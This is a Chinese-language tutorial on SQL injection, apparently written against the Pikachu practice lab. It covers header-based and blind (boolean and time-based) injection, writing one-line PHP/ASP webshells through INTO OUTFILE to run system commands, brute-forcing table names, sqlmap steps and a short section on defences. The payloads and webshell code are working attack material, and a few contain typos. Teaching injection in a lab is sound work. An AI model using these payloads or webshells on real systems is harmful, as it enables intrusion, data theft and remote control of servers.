HTTP header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的 cookie验证)
或者通过httpheader头信息获取客户端的一些信息,比如useragent,accept字段等等。会对客户端的httpheader信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于httpheader的SQLInject漏洞。
使用burpsuite抓取前后段交互的HTTP请求,修改头信息
修改user agent 修改cookies
test payload
基于HTTPHeader
Cookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#
firefox or updatexml(1,concat(0x7e, database ()),0) or
盲注
什么是盲注
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注“
根据表现形式的不同,盲注又分为 based boolean和 based timei两种类型
基于boolean的盲注测试
基于 boolean的盲注主要表现症状
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and1=1/and1=2发现可以判断
test payload
kobe' and len(database())=7#
#如果前端返回结果,说明database()字符串的长度为7,不返回信息的话,说明不是7,可以用二分法试探
kobe' and ascii(substr(database()), 1, 1))=112#
#如果前端返回结果,说明database()第一个字母的ascii码为112,不返回信息的话,说明不是,可以用二分法试探
通常编写脚本或者使用sqlmap进行盲注测试
基于time的盲注测试
如果说基于 boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
常用的 Test Payload
kobe and sleep(5)
看看输入:kobe'和输入kobe' and sleep(5)#的区别,从而判断这里存在 based time的sqL注入漏洞
利用Firefox的开发者工具中的network可以查看响应时间,如果当前页面在5秒后返回,说明执行了sleep(5),存在基于时间的盲注漏洞
基于时间的延迟
kobe' and if((substr(database(),1, 1))='p', sleep(5), null)#
#若页面在5秒后返回,说明database()的第一个字母为p,否则不是
利用sql注入漏洞进行远程控制
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP: <?php @eval(S_POST['chopper']) ?>
ASP: <%eval request("chopper")%>
ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>
如何通过into outfile写入恶意代码并控制os
select 1, 2 into outfile "/var/www/html/1.txt"
into outfile将 select的结果写入到指定目录的1txt中
在一些没有回显的注入中可以使用 into outfile将结果写入到指定文件,然后访问获取
前提条件
查看secure_file_priv配置1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了 secure_ file_ priv
需要在mysql的配置文件/etc/my.cnf中增加secure_file_priv为空
获取操作系统权限
kobe' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
使用方法 http://[target_ip]:[target_port]/1.php?test=[php命令],如http://192.168.1.5/1.php?test=phpinfo()
kobe' union select " <?php @system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#
使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系统命令],如http://192.168.1.5/2.php?test=whoami
一句话木马可以结合菜刀或者蚁剑等工具来使用,达到远控的目的
可参考
中国菜刀简介及使用
AntSword文档
表名或列表的暴力破解
当information_schema不能访问时
暴力破解表名和列名称:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以使用burpsuite的intruder模块加载字典进行爆破
SQL Inject注入漏洞的防范
代码层面
1.对输入进行严格的转义和过滤
转义加过滤2.使用预处理和参数化( Parameterized)
可以避免用户的输入直接拼接成sql语句
可参考
PDO场景下的SQL注入探究
PDO防sql注入原理分析
网路层面
1.通过wAF设备启用防sql注入策略(或类似防护系统)
部署位置2.云端防护(360网站卫士,阿里云盾等)
对于在云端部署的服务器可以采用厂商提供的防护产品
云防护
sqlmap的使用
sqlmap是一个强大的自动化sql注入工具,可以替代手工完成许多任务
在sqlmap的官网(http://sqlmap.org/)下载
sqlmap的经典用法
第一步
u"xx" -cookie="yy"
//带上 cookie对URL进行注入探测
第二步
u"xx" -cookie="yy" -current-db
//对数据库名进行获取
第三步
u"xx" -cookie="yy" -D pikachu --tables
//对数据库的表名进行枚举
第四步
u"xx" -cookie="yy" -D pikachu -T users -columns
//对dvwa库里面的名为 users表的列名进行枚举
第五步
u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump
//提取pikachu.users中的指定的字段
网友评论